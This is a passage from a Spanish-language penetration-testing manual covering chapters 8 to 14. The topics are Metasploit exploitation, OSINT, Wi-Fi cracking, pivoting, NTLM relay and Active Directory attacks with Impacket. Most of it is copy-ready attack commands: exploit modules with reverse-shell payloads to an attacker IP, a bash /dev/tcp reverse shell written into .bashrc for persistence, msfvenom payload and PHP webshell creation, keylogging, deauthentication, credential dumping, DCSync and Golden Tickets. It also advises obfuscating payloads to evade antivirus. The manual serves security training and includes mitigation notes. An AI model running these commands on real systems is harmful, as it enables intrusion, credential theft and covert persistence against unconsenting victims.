db_import struts.xml
```

3. Buscar módulo:

```
search struts
```

4. Usar exploit:

```
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.15
set RPORT 8080
set TARGETURI /struts2-showcase/index.action
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.100
exploit
```

---

## 7. Ejemplo 2 — Explotación de SambaCry (CVE-2017-7494)

```
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.1.20
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.1.100
exploit
```

---

## 8. Post-explotación con Meterpreter

Una vez dentro:

```
sysinfo
getuid
ipconfig
```

Subir y descargar archivos:

```
upload archivo.txt /tmp/
download /etc/passwd .
```

Captura de pantalla:

```
screenshot
```

Keylogging:

```
keyscan_start
keyscan_dump
```

---

## 9. Pivoting (salto a redes internas)

Configurar sesión para pivot:

```
route add 10.10.0.0 255.255.255.0 1
```

Ejecutar escaneo desde la sesión:

```
run post/multi/gather/ping_sweep RHOSTS=10.10.0.0/24
```

---

## 10. Persistencia

Windows:

```
run persistence -U -i 5 -p 4444 -r 192.168.1.100
```

Linux:

```
echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> ~/.bashrc
```

Siempre eliminar persistencia al finalizar la auditoría.

---

## 11. Creación de payloads con msfvenom

## 11. Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe  
> shell.exe
```

## 11.2. Linux

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f  
elf > shell.elf
```

## 11.3. WebShell PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw >  
shell.php
```

---

## 12. Integración con Nessus

1. Escanear con Nessus.
2. Exportar en **.nessus**.
3. Importar en Metasploit:

```
db_import reporte.nessus
```

- 
4. Ejecutar exploits basados en CVEs detectados.
- 

## 13. Automatización con resource scripts

Crear **auto.rc**:

```
use exploit/multi/http/struts2_content_type_ognl  
set RHOSTS 192.168.1.15  
set LHOST 192.168.1.100  
set PAYLOAD linux/x86/meterpreter/reverse_tcp  
exploit
```

Ejecutar:

```
msfconsole -r auto.rc
```

---

## 14. Buenas prácticas

- Mantener Metasploit actualizado.
  - Usar payloads ofuscados si el AV los detecta.
  - Borrar cualquier rastro tras las pruebas.
  - Documentar cada comando y resultado.
  - No abusar de exploits destructivos.
- 

## 15. Checklist de Metasploit listo

- Instalado y actualizado.
  - Integrado con Nmap y Nessus.
  - Módulos y payloads probados.
  - Scripts de automatización creados.
  - Técnicas de post-explotación dominadas.
- 

En el **Capítulo 9** vamos a cubrir **TheHarvester y OSINT ofensivo** en modo extremo: recolección de correos, subdominios, metadatos y redes sociales, correlacionando datos con ataques posteriores.

---

# Capítulo 9 — TheHarvester y OSINT ofensivo total

---

**Objetivo:** Dominar la recolección de información pública (OSINT) usando **TheHarvester**, **Maltego**, **SpiderFoot** y técnicas manuales, para alimentar fases posteriores del pentest y facilitar explotación.

---

## 1. Introducción al OSINT

**OSINT (Open Source Intelligence)** es la recolección y análisis de información pública disponible en fuentes abiertas:

- **Datos técnicos:** dominios, subdominios, rangos IP, metadatos.
- **Datos humanos:** correos, perfiles en redes sociales, leaks.
- **Infraestructura:** proveedores, tecnologías, patrones de naming.

### 1.1. Importancia en un pentest

- Reduce tiempo de reconocimiento activo.
  - Permite ataques más específicos.
  - Puede revelar vectores que el cliente no consideraba parte de su superficie de ataque.
- 

## 2. TheHarvester: instalación y uso básico

En Kali Linux ya viene instalado:

```
theharvester -h
```

Si necesitas instalarlo manualmente:

```
sudo apt install theharvester -y
```

---

### 3. Sintaxis básica

```
theharvester -d dominio -l 500 -b fuente
```

- **-d** → Dominio objetivo.
- **-l** → Límite de resultados.
- **-b** → Fuente (ej. google, bing, linkedin, all).

Ejemplo:

```
theharvester -d empresa.com -l 200 -b google
```

---

### 4. Fuentes soportadas

Ejemplos de fuentes y lo que aportan:

- **google/bing/duckduckgo** → URLs, correos.
- **linkedin** → Perfiles laborales.
- **crtsh** → Certificados SSL/TLS.
- **shodan** → Hosts y puertos abiertos.
- **hunter** → Emails.

---

### 5. Ejemplo real de uso combinado

#### 5.1. Recolección inicial

```
theharvester -d empresa.com -l 500 -b all -f reporte_emp.html
```

Esto genera:

- Correos.
- Subdominios.

- IPs.
  - Hosts.
- 

## 5.2. Filtrar solo correos

```
theharvester -d empresa.com -l 500 -b google | grep '@empresa.com'
```

---

## 6. Integración con otras herramientas

### 6.1. Con Nmap

Exportar subdominios detectados:

```
cat reporte_emp.html | grep empresa.com > hosts.txt  
nmap -iL hosts.txt -sV -oN escaneo_host.txt
```

---

### 6.2. Con Burp Suite

Importar hosts para interceptar tráfico:

- Target → Scope → Import URLs.
- 

## 7. Maltego: OSINT visual

### 7.1. Instalación en Kali

```
sudo apt install maltego -y
```

---

O desde <https://www.maltego.com/downloads/>

---

### 7.2. Concepto

Maltego trabaja con **entidades** (dominios, correos, IPs) y **transforms** (consultas automáticas).

---

### 7.3. Caso práctico

1. Crear gráfico nuevo.
2. Agregar dominio **empresa.com**.
3. Ejecutar transform "To DNS Name" → encuentra subdominios.
4. "To Email Address" → correos.
5. "To Phone Numbers" → si aplica.

Resultado: un **mapa visual** de la superficie de ataque.

## 8. SpiderFoot: OSINT automatizado masivo

### 8.1. Instalación

```
sudo apt install spiderfoot -y
```

Iniciar:

```
spiderfoot -l 127.0.0.1:5001
```

Acceder en navegador.

### 8.2. Uso

1. Crear nuevo scan.
2. Definir target (dominio, IP o email).
3. Seleccionar módulos (pueden ser más de 100).
4. Ejecutar y esperar.

Ideal para recopilar datos de forma automática y encontrar relaciones.

## 9. Técnicas manuales de OSINT

### 9.1. Google Dorking

```
site:empresa.com filetype:pdf  
site:empresa.com inurl:login
```

### 9.2. crt.sh para certificados

```
https://crt.sh/?q=%empresa.com
```

### 9.3. Recon con **whois**

```
whois empresa.com
```

## 9.4. GitHub Dorking

```
org:empresa.com password
```

---

## 10. Metadatos en documentos

Extraer metadatos de PDFs en un dominio:

```
wget -r -l 2 -A pdf https://empresa.com  
exiftool *.pdf
```

---

## 11. Ejemplo práctico completo de OSINT ofensivo

**Objetivo:** empresa ficticia [victima.com](https://victima.com)

1. **TheHarvester:**

```
theharvester -d victima.com -l 500 -b all -f victima.html
```

2. **crt.sh:**

```
https://crt.sh/?q=%victima.com
```

3. **Google Dorks:**

```
site:victima.com filetype:xls
```

4. **Maltego** para correlacionar subdominios con IPs.

5. **SpiderFoot** para extraer leaks de credenciales.

6. Exportar a **Nmap** para escaneo:

```
nmap -iL subdominios.txt -sV -oN escaneo.txt
```

---

## 12. Automatización con script OSINT

Archivo [osint\\_total.sh](#):

```
#!/bin/bash
dominio=$1
mkdir -p $dominio

theharvester -d $dominio -l 500 -b all -f $dominio/reporte.html
curl -s "https://crt.sh/?q=%25.$dominio" > $dominio/crtsh.html
```

Dar permisos:

```
chmod +x osint_total.sh
```

Ejecutar:

```
./osint_total.sh empresa.com
```

---

## 13. Buenas prácticas

- No exceder límites de uso de APIs.
  - No recolectar información fuera del alcance acordado.
  - Almacenar datos sensibles de forma cifrada.
  - Verificar siempre la veracidad de la información.
- 

## 14. Checklist de OSINT listo

- TheHarvester ejecutado y guardado.
  - Maltego configurado y con transform básicas.
  - SpiderFoot con módulos activos.
  - Google Dorks documentados.
  - Metadatos recolectados.
  - Exportación lista para Nmap y Burp.
- 

En el **Capítulo 10** vamos a pasar a **Aircrack-ng y auditoría Wi-Fi**, cubriendo todo: instalación, modo monitor, captura de handshakes, ataques WPA/WPA2/WPA3 y recomendaciones éticas, con ejemplos listos para copiar y probar en laboratorio.

---

# Capítulo 10 — Aircrack-ng y auditoría Wi-Fi

---

**Objetivo:** Realizar una auditoría ética de redes Wi-Fi utilizando **Aircrack-ng** y su ecosistema de herramientas. Cubriremos desde la preparación del hardware hasta la captura y descifrado de handshakes WPA/WPA2/WPA3, integrando resultados con otras fases del pentest.

---

## 1. Introducción a la auditoría Wi-Fi

La seguridad inalámbrica es uno de los vectores más atacados en entornos corporativos y domésticos. Un fallo en el cifrado o en la configuración puede exponer la red interna entera.

**Aircrack-ng** es un conjunto de herramientas para:

- Escanear redes Wi-Fi.
  - Capturar paquetes.
  - Realizar ataques de desautenticación.
  - Crackear contraseñas usando diccionarios.
- 

## 2. Consideraciones éticas y legales

Antes de empezar:

- **Siempre** tener autorización escrita.
  - El hardware del objetivo debe ser parte del alcance del pentest.
  - No interferir en redes de terceros fuera de alcance.
  - Guardar evidencias y eliminarlas al terminar.
- 

## 3. Preparación del entorno

### 3.1. Verificar adaptador inalámbrico

Necesitamos una tarjeta compatible con **modo monitor** y **inyección de paquetes**.

Listar interfaces:

```
ip link
```

Verificar chip:

```
lsusb  
lspci
```

Adaptadores comunes para pentesting:

- Alfa AWUS036NHA (Atheros AR9271).
  - Alfa AWUS036ACH (Realtek RTL8812AU).
- 

### 3.2. Instalar Aircrack-ng

En Kali viene por defecto:

```
aircrack-ng --help
```

Si no:

```
sudo apt install aircrack-ng -y
```

## 4. Colocar la tarjeta en modo monitor

Listar interfaces:

```
ip a
```

Habilitar modo monitor:

```
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
```

O usar **airmon-ng**:

```
sudo airmon-ng start wlan0
```

Esto creará **wlan0mon**.

## 5. Escaneo de redes

Con **airodump-ng**:

```
sudo airodump-ng wlan0mon
```

Salida típica:

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
AA:BB:CC:DD:EE:FF	-45	200	50 0	6	54	WPA2	CCMP	PSK	RedCorporativa

Campos clave:

- **BSSID:** MAC del AP.
  - **CH:** Canal.
  - **ENC:** Tipo de cifrado.
  - **ESSID:** Nombre de la red.
- 

## 6. Captura de handshakes WPA/WPA2

1. Focalizar en la red:

```
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w captura wlan0mon
```

2. Enviar desautenticaciones para forzar reconexión:

```
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
```

3. Verificar handshake capturado:

```
[ WPA handshake: AA:BB:CC:DD:EE:FF ]
```

## 7. Crackeo del handshake

Usando diccionario:

```
aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt
```

Salida:

```
KEY FOUND! [ contraseñasegura ]
```

## 8. Ataque PMKID (sin clientes conectados)

### 8.1. Captura con hcxdumptool

```
sudo apt install hcxdumptool hcxpcapngtool -y
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
```

## 8.2. Conversión para Hashcat

```
hcxpcapngtool -o pmkid.16800 pmkid.pcapng
```

## 8.3. Crack con Hashcat

```
hashcat -m 16800 pmkid.16800 rockyou.txt
```

## 9. Redes WEP (históricas)

Solo en entornos de laboratorio.

Capturar paquetes:

```
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep wlan0mon
```

Ataque de inyección:

```
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon
```

Crackeo:

```
aircrack-ng wep-01.cap
```

## 10. Integración con otras herramientas

### 10.1. Con Nmap

Una vez dentro de la red:

```
nmap -sV 192.168.1.0/24
```

### 10.2. Con Metasploit

Usar sesiones meterpreter para pivotar a otros segmentos.

## 11. Automatización del flujo

Script `wifi_audit.sh`:

```
#!/bin/bash
bssid=$1
chan=$2
iface=wlan0mon

sudo airodump-ng --bssid $bssid --channel $chan -w handshake $iface &
sleep 5
sudo aireplay-ng --deauth 5 -a $bssid $iface
```

## 12. Buenas prácticas y mitigación

- Usar WPA3 y contraseñas largas.
- Desactivar WPS.
- Segmentar la red Wi-Fi de invitados.
- Monitorizar conexiones inusuales.

## 13. Checklist de auditoría Wi-Fi lista

- Adaptador compatible en modo monitor.
- Handshake capturado.
- Cráckeo documentado.
- Mitigaciones propuestas.

En el **Capítulo 11** vamos a entrar en **Pivoting y túneles avanzados**, usando herramientas como `sshuttle`, `chisel`, `ligolo-ng` e `impacket` para moverte dentro de redes internas tras comprometer un host, con ejemplos prácticos y diagramas para entender cada salto.

# Capítulo 11 — Pivoting y túneles avanzados

**Objetivo:** Aprender a moverse dentro de redes internas tras comprometer un host intermedio, utilizando técnicas de **pivoting** y **tunelización** para acceder a recursos que no están directamente expuestos.

## 1. Introducción al Pivoting

En un pentest, el pivoting es el **proceso de usar un sistema comprometido como puente** para alcanzar otros sistemas o redes que no son accesibles desde nuestra máquina atacante.

### 1.1. Tipos de pivoting

- **Port forwarding** → Redirige un puerto del host pivot hacia el atacante.
  - **SOCKS proxy** → Permite enrutar tráfico TCP de múltiples herramientas.
  - **Túneles VPN** → Conecta dos redes como si fueran una sola.
  - **Encadenado de pivotes** → Múltiples saltos para llegar a un objetivo.
- 

## 2. Escenario de laboratorio recomendado

Imaginemos una red:

```
[Atacante Kali] ---[10.0.0.5]---[192.168.1.10]---[192.168.2.20]  
          (pivot)           (red interna)
```

- 
- **Atacante:** 10.0.0.5
  - **Pivot:** 10.0.0.10 (acceso SSH)
  - **Objetivo interno:** 192.168.1.10 y 192.168.2.20
- 

## 3. Pivoting con SSH

### 3.1. Port forwarding local

```
ssh -L 8080:192.168.1.10:80 user@10.0.0.10
```

Accedemos a <http://localhost:8080> como si estuviéramos en la red interna.

---

### 3.2. Port forwarding remoto

```
ssh -R 8080:127.0.0.1:80 user@10.0.0.10
```

Esto expone un servicio de nuestra máquina atacante hacia el pivot.

---

### 3.3. Dynamic SOCKS proxy

```
ssh -D 1080 user@10.0.0.10
```

En Kali:

```
export http_proxy="socks5://127.0.0.1:1080"  
export https_proxy="socks5://127.0.0.1:1080"
```

---

Herramientas como **Nmap** pueden usar este proxy con **proxychains**.

---

## 4. Pivoting con Proxychains

### 4.1. Instalación

```
sudo apt install proxychains4 -y
```

### 4.2. Configuración

Editar **/etc/proxchains4.conf**:

```
socks5 127.0.0.1 1080
```

### 4.3. Uso

```
proxychains nmap -sT -Pn -p 80 192.168.1.10
```

---

## 5. Pivoting con Metasploit

### 5.1. Agregar rutas

```
route add 192.168.1.0 255.255.255.0 1
```

Donde **1** es el ID de la sesión.

### 5.2. Escanear red interna

```
run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24
```

### 5.3. SOCKS Proxy en Metasploit

```
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
```

Usar con proxychains.

---

## 6. Pivoting con Chisel

### 6.1. Instalación

```
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz  
gunzip chisel_1.9.1_linux_amd64.gz  
chmod +x chisel_1.9.1_linux_amd64
```

### 6.2. Túnel inverso

En atacante:

```
./chisel server -p 8000 --reverse
```

En pivot:

```
./chisel client 10.0.0.5:8000 R:1080:socks
```

---

## 7. Pivoting con Ligolo-ng

### 7.1. Instalación

```
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64.tar.gz  
tar -xvzf ligolo-ng_agent_linux_amd64.tar.gz
```

### 7.2. Uso

En atacante:

```
ligolo-proxy -selfcert
```

En pivot:

```
ligolo-agent -connect 10.0.0.5:11601 -ignore-cert
```

Abrir túneles interactivos desde la consola del proxy.

## 8. Pivoting con sshuttle (VPN transparente)

```
sshuttle -r user@10.0.0.10 192.168.1.0/24
```

Ahora puedes acceder a 192.168.1.x como si estuvieras en esa red.

## 9. Escenarios encadenados

Ejemplo: Atacante → Pivot 1 (red 192.168.1.0) → Pivot 2 (red 192.168.2.0)

1. Establecer túnel hacia Pivot 1.
2. Desde Pivot 1, iniciar chisel/ligolo hacia Pivot 2.
3. Configurar rutas para cada red interna.

## 10. Ejemplo práctico completo

1. **Acceso inicial** por SSH a Pivot 10.0.0.10.
2. **Dynamic SOCKS:**

```
ssh -D 1080 user@10.0.0.10
```

3. **Escaneo de red interna:**

```
proxychains nmap -sT 192.168.1.0/24
```

4. **Explorar servicio interno** con Metasploit:

```
proxychains msfconsole
```

## 11. Buenas prácticas

- Mantener túneles cifrados.
- Documentar todos los saltos.
- Evitar saturar la red interna con escaneos ruidosos.
- Cerrar conexiones al finalizar.

## 12. Checklist de pivoting listo

- Herramientas instaladas (proxychains, chisel, ligolo, sshuttle).
  - Túnel establecido.
  - Acceso a red interna comprobado.
  - Explotación realizada y documentada.
  - Conexiones cerradas.
- 

En el **Capítulo 12** vamos a entrar en **Responder, NTLM relays y ataques en entornos Windows/Active Directory**, cubriendo desde la captura de hashes hasta la explotación de autenticaciones automáticas en redes internas, integrando con pivoting para máxima efectividad.

---

# Capítulo 12 — Responder, NTLM Relays y ataques en entornos Windows/Active Directory

---

**Objetivo:** Dominar el uso de **Responder** y ataques de relay NTLM para capturar credenciales y moverse lateralmente dentro de un entorno Windows/Active Directory. Incluye laboratorio guiado y flujo de explotación completo.

---

## 1. Introducción

En redes Windows, el protocolo **NTLM** es ampliamente usado para autenticación. Su principal debilidad:

- Permite **capturar y reutilizar** hashes sin conocer la contraseña.
- Es susceptible a **ataques de relay** si no está protegido.

**Responder** es una herramienta que abusa de protocolos como LLMNR, NBT-NS y MDNS para redirigir tráfico y obtener hashes NTLMv2.

---

## 2. Escenario de laboratorio

### 2.1. Infraestructura mínima

- **Controlador de dominio:** Windows Server 2019 (**DC01**, IP 192.168.56.10).
- **Estación de trabajo:** Windows 10 (**PC01**, IP 192.168.56.20).
- **Atacante:** Kali Linux (**192.168.56.100**).

Todos en la misma red (puede ser adaptador “Host-Only” de VirtualBox).

---

## 3. Preparación del laboratorio

En Windows Server:

- Instalar Active Directory y crear dominio **corp.local**.
- Crear usuario **juan.perez** con contraseña **Password123!**.

En Windows 10:

- Unir al dominio `corp.local`.
  - Iniciar sesión como `juan.perez`.
- 

## 4. Instalación de Responder

En Kali ya viene:

```
responder -h
```

Si no:

```
sudo apt install responder -y
```

---

## 5. Captura de hashes con Responder

### 5.1. Iniciar Responder en la interfaz de red

```
sudo responder -I eth0
```

Esto escucha peticiones LLMNR, NBT-NS y MDNS.

---

### 5.2. Forzar autenticaciones

Si un usuario intenta acceder a un recurso inexistente en red (`\\\FAKE-SHARE`), Windows intentará resolverlo, cayendo en nuestro Responder.

Ejemplo en Windows:

```
\\192.168.56.100\share
```

Responder captura:

```
[SMB] NTLMv2-SSP Client   : 192.168.56.20
[SMB] NTLMv2-SSP Username : CORP\juan.perez
[SMB] NTLMv2-SSP Hash     : 112233445566778899...
```

## 6. Cracking de hashes

Con **hashcat**:

```
hashcat -m 5600 hash.txt rockyou.txt
```

-m 5600 es para NTLMv2.

Si la contraseña es débil, obtendremos la clave en texto claro.

---

## 7. Ataque de relay NTLM

El relay permite **reutilizar credenciales sin conocer la contraseña**, redirigiéndolas a otro servicio SMB o HTTP.

---

### 7.1. Preparar impacket-ntlmrelayx

Instalar impacket:

```
sudo apt install python3-impacket -y
```

---

### 7.2. Escenario de relay SMB → SMB

En una terminal:

```
sudo ntlmrelayx.py -t smb://192.168.56.10 -smb2support
```

En otra, correr Responder **deshabilitando SMB y HTTP** (para que no capture, solo redirija):

```
sudo responder -I eth0 -wrf
```

Cuando una máquina intente autenticarse, ntlmrelayx ejecutará comandos en el objetivo (si el usuario es admin local).

---

### 7.3. Relay SMB → ejecución de comandos

```
sudo ntlmrelayx.py -t smb://192.168.56.10 -smb2support --execute 'whoami > C:\Windows\Temp\pwned.txt'
```

## 8. Ataque de relay HTTP → SMB

1. Ejecutar ntlmrelayx apuntando a SMB:

```
sudo ntlmrelayx.py -t smb://192.168.56.10
```

2. Hacer que una víctima visite un recurso HTTP controlado por nosotros.
- 

## 9. Dump de hashes y secrets con relay exitoso

Si tenemos privilegios:

```
sudo ntlmrelayx.py -t smb://192.168.56.10 --dump
```

Obtendremos:

- Hashes NTLM de usuarios.
  - Archivos SAM, SYSTEM.
- 

## 10. Post-exploitación en AD

Con credenciales obtenidas:

```
psexec.py CORP/juan.perez@192.168.56.10
```

Esto nos da shell en el controlador de dominio.

---

## 11. Ejemplo práctico paso a paso

1. **Atacante** (Kali):

```
sudo ntlmrelayx.py -t smb://192.168.56.10 -smb2support
```

2. **Responder** para capturar solicitudes de nombre:

```
sudo responder -I eth0 -wrf
```

3. **Víctima** (PC01):

- El usuario accede a \\SERVIDOR-FAKE\carpeta.

#### 4. Resultado:

- ntlmrelayx recibe hash NTLMv2.
  - Relay exitoso → shell en DC01.
- 

## 12. Defensas y mitigación

- Deshabilitar LLMNR y NBT-NS en GPO.
  - Usar SMB Signing obligatorio.
  - Forzar Kerberos sobre NTLM.
  - Contrasñas largas y únicas.
- 

## 13. Checklist de Responder + Relay listo

- Responder instalado y probado.
  - Hashes NTLM capturados.
  - Relay SMB o HTTP ejecutado.
  - Acceso a objetivo validado.
  - Medidas de mitigación documentadas.
- 

En el **Capítulo 13** vamos a cubrir **Active Directory: ataques de enumeración, Kerberoasting, AS-REP roasting y abuso de ACLs**, con un laboratorio extendido usando el mismo entorno que configuramos aquí, pero entrando en técnicas mucho más profundas para comprometer todo el dominio.

---

# Capítulo 13 — Active Directory: enumeración, Kerberoasting, AS-REP roasting y abuso de ACLs

---

**Objetivo:** Enumerar, explotar y escalar privilegios en un entorno **Active Directory** de forma ética, entendiendo en profundidad las técnicas y sus herramientas.

---

## 1. Introducción a Active Directory (AD)

**Active Directory** es el sistema de directorio de Microsoft que gestiona:

- **Usuarios y grupos.**
- **Computadoras y servidores.**
- **Políticas de seguridad.**
- **Autenticación y autorización.**

**Estructura básica:**

- **Bosque** → Conjunto de dominios.

- **Dominio** → Unidad principal (`corp.local`).
  - **OU** (Organizational Units) → Organización de objetos.
  - **Controlador de dominio (DC)** → Servidor que administra el dominio.
- 

## 2. Escenario de laboratorio

Continuamos con el entorno del capítulo anterior:

- **DC01** → Windows Server 2019, IP `192.168.56.10`, dominio `corp.local`.
  - **PC01** → Windows 10 unido al dominio, IP `192.168.56.20`.
  - **Atacante** → Kali Linux, IP `192.168.56.100`.
- 

## 3. Enumeración en AD

### 3.1. Con usuario de dominio (autenticado)

Usaremos **CrackMapExec (CME)**:

```
crackmapexec smb 192.168.56.0/24 -u juan.perez -p 'Password123!'
```

Enumerar usuarios:

```
crackmapexec smb 192.168.56.10 -u juan.perez -p 'Password123!' --users
```

---

### 3.2. Con Impacket — GetADUsers

```
GetADUsers.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -all
```

---

### 3.3. Enumeración sin credenciales (AS-REP vulnerable)

```
GetNPUsers.py corp.local/ -dc-ip 192.168.56.10
```

---

### 3.4. BloodHound para mapeo visual

**Instalar BloodHound:**

```
sudo apt install bloodhound -y  
sudo neo4j console
```

## Recopilar datos con SharpHound (desde un host comprometido):

```
.\SharpHound.exe -c All
```

Subir datos a la interfaz de BloodHound → Grafo de relaciones y rutas de ataque.

---

## 4. Kerberoasting

**Objetivo:** Obtener hashes de cuentas de servicio para crackear offline.

### 4.1. Con Impacket — GetUserSPNs

```
GetUserSPNs.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -request
```

Salida:

```
$krb5tgs$23$...
```

### 4.2. Crack con Hashcat

```
hashcat -m 13100 kerberoast.hash rockyou.txt
```

---

## 5. AS-REP Roasting

**Objetivo:** Obtener hashes de usuarios que tienen "No requiere preautenticación Kerberos" habilitado.

```
GetNPUsers.py corp.local/ -dc-ip 192.168.56.10 -usersfile usuarios.txt
```

Crack con Hashcat:

```
hashcat -m 18200 asrep.hash rockyou.txt
```

---

## 6. Pass-the-Hash (PtH)

Si obtenemos un hash NTLM válido, podemos autenticarnos sin crackearlo.

```
psexec.py corp.local/Administrador@192.168.56.10 -hashes  
aad3b435b51404eeaad3b435b51404ee:6d6f2c05c73e92ba0b8f33f6b9f7d35a
```

## 7. Abuso de ACLs

Si tenemos permisos de **GenericAll** sobre un usuario/grupo:

- Cambiar su contraseña:

```
rpcclient -U "corp.local\usuario" 192.168.56.10  
setuserinfo2 usuario 23 "NuevaPass123!"
```

- Agregar a grupo **Domain Admins** si tenemos permisos:

```
net group "Domain Admins" usuario /add /domain
```

## 8. DCSync Attack

Si tenemos privilegios de replicación:

```
secretsdump.py corp.local/Administrador:Password123!@192.168.56.10
```

Obtendremos hashes de todos los usuarios, incluyendo **krbtgt**.

## 9. Dominio comprometido → Persistencia

### 9.1. Golden Ticket

Generar ticket Kerberos válido de por vida usando hash de **krbtgt**:

```
ticketer.py -nthash <hash_krbtgt> -domain corp.local -user-id 500 Administrador
```

Usar:

```
export KRB5CCNAME=Administrador.ccache
```

## 10. Ejemplo práctico paso a paso

1. Enumerar usuarios con CME.
  2. Encontrar cuenta vulnerable a Kerberoasting.
  3. Obtener hash y crackearlo.
  4. Autenticarse como cuenta de servicio privilegiada.
  5. Ejecutar DCSync y extraer todos los hashes.
  6. Crear Golden Ticket para persistencia.
  7. Acceso total al dominio.
- 

## 11. Defensas y mitigación

- Deshabilitar cuentas no usadas.
  - No marcar “No requiere preautenticación”.
  - Monitorear solicitudes Kerberos anómalas.
  - Usar contraseñas largas para cuentas de servicio.
  - Habilitar **Protected Users Group**.
  - Restringir privilegios de replicación.
- 

## 12. Checklist de AD Hacking listo

- Enumeración completa realizada.
  - Kerberoasting ejecutado.
  - AS-REP roasting validado.
  - PtH probado.
  - Abuso de ACLs documentado.
  - Persistencia configurada (Golden Ticket).
  - Mitigaciones propuestas.
- 

En el **Capítulo 14** vamos a entrar en **Impacket en profundidad**, usando todos sus scripts (psexec, wmiexec, smbexec, secretsdump, GetUserSPNs, GetNPUsers, ntlmrelayx, etc.) para manipular entornos Windows y AD como un pentester avanzado.

---

# Capítulo 14 — Impacket en profundidad: manipulación avanzada de entornos Windows y Active Directory

---

**Objetivo:** Dominar el uso de **Impacket**, una colección de scripts en Python para interactuar con protocolos de red, manipular sistemas Windows y entornos Active Directory durante un pentest.

---

## 1. Introducción a Impacket

**Impacket** es un conjunto de herramientas en Python creadas por SecureAuth que permiten:

- Ejecutar comandos de forma remota.
- Enumerar recursos de red y AD.
- Extraer hashes y secretos.
- Abusar de Kerberos.
- Realizar ataques de relay NTLM.

Su potencia radica en que implementa directamente protocolos como SMB, MSRPC, LDAP, Kerberos y WMI.

---

## 2. Instalación

En Kali viene preinstalado:

```
impacket-smbclient -h
```

Si no:

```
sudo apt install python3-impacket -y
```

O desde GitHub (última versión):

```
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .
```

---

## 3. Estructura de scripts

Impacket incluye múltiples scripts, entre los más usados:

- **Ejecución remota:** `psexec.py`, `wmiexec.py`, `smbexec.py`, `atexec.py`.
  - **Extracción de credenciales:** `secretsdump.py`, `mimikatz.py` (implementación parcial).
  - **Enumeración:** `samrdump.py`, `lookupsid.py`, `GetADUsers.py`.
  - **Kerberos:**  `GetUserSPNs.py`, `GetNPUsers.py`, `ticketer.py`.
  - **Relay:** `ntlmrelayx.py`.
- 

## 4. Uso básico de credenciales

Formato de credenciales:

```
dominio/usuario:contraseña
dominio/usuario@host
```

```
dominio/usuario -hashes LM:NT
```

---

## 5. Ejecución remota

### 5.1. **psexec.py**

Usa SMB para ejecutar comandos con privilegios:

```
psexec.py corp.local/Administrador:Password123!@192.168.56.10
```

Con hash NTLM:

```
psexec.py corp.local/Administrador@192.168.56.10 -hashes  
aad3b435b51404eeaad3b435b51404ee:6d6f2c05c73e92ba0b8f33f6b9f7d35a
```

---

### 5.2. **wmiexec.py**

Menos ruidoso, usa WMI:

```
wmiexec.py corp.local/Administrador:Password123!@192.168.56.10
```

---

### 5.3. **smbexec.py**

Persistente sobre SMB:

```
smbexec.py corp.local/Administrador:Password123!@192.168.56.10
```

---

### 5.4. **atexec.py**

Usa el programador de tareas (AT):

```
atexec.py corp.local/Administrador:Password123!@192.168.56.10 "whoami"
```

---

## 6. Extracción de credenciales

### 6.1. **secretsdump.py**

Dumpeo de SAM, NTDS.dit y secretos de sistema:

```
secretsdump.py corp.local/Administrador:Password123!@192.168.56.10
```

Con hash NTLM:

```
secretsdump.py corp.local/Administrador@192.168.56.10 -hashes  
:6d6f2c05c73e92ba0b8f33f6b9f7d35a
```

Desde archivo NTDS.dit + SYSTEM:

```
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
```

---

## 7. Enumeración de dominio

### 7.1. **samrdump.py**

Enumera cuentas y grupos:

```
samrdump.py corp.local/juan.perez:Password123!@192.168.56.10
```

---

### 7.2. **lookupsid.py**

Lista SID → nombres de usuario:

```
lookupsid.py corp.local/juan.perez:Password123!@192.168.56.10
```

---

### 7.3. **GetADUsers.py**

Lista usuarios de AD (requiere credenciales válidas):

```
GetADUsers.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -all
```

---

## 8. Ataques Kerberos

### 8.1. **GetUserSPNs.py** (Kerberoasting)

```
 GetUserSPNs.py corp.local/juan.perez:Password123! -dc-ip 192.168.56.10 -request
```

Crack:

```
 hashcat -m 13100 hash.txt rockyou.txt
```

## 8.2. **GetNPUsers.py** (AS-REP Roasting)

```
 GetNPUsers.py corp.local/ -no-pass -usersfile usuarios.txt -dc-ip 192.168.56.10
```

Crack:

```
 hashcat -m 18200 asrep.hash rockyou.txt
```

## 8.3. **ticketer.py** (Golden/Silver Tickets)

Generar Golden Ticket:

```
 ticketer.py -nthash <hash_krbtgt> -domain corp.local -user-id 500 Administrador
```

# 9. Ataques de relay NTLM

## 9.1. **ntlmrelayx.py**

Relay SMB:

```
 ntlmrelayx.py -t smb://192.168.56.10 -smb2support
```

Relay a múltiples objetivos:

```
 ntlmrelayx.py -tf targets.txt -smb2support
```

Dump de hashes automáticamente:

```
ntlmrelayx.py -t smb://192.168.56.10 --dump
```

---

## 10. Ejemplo práctico de laboratorio

### 1. Enumeración:

```
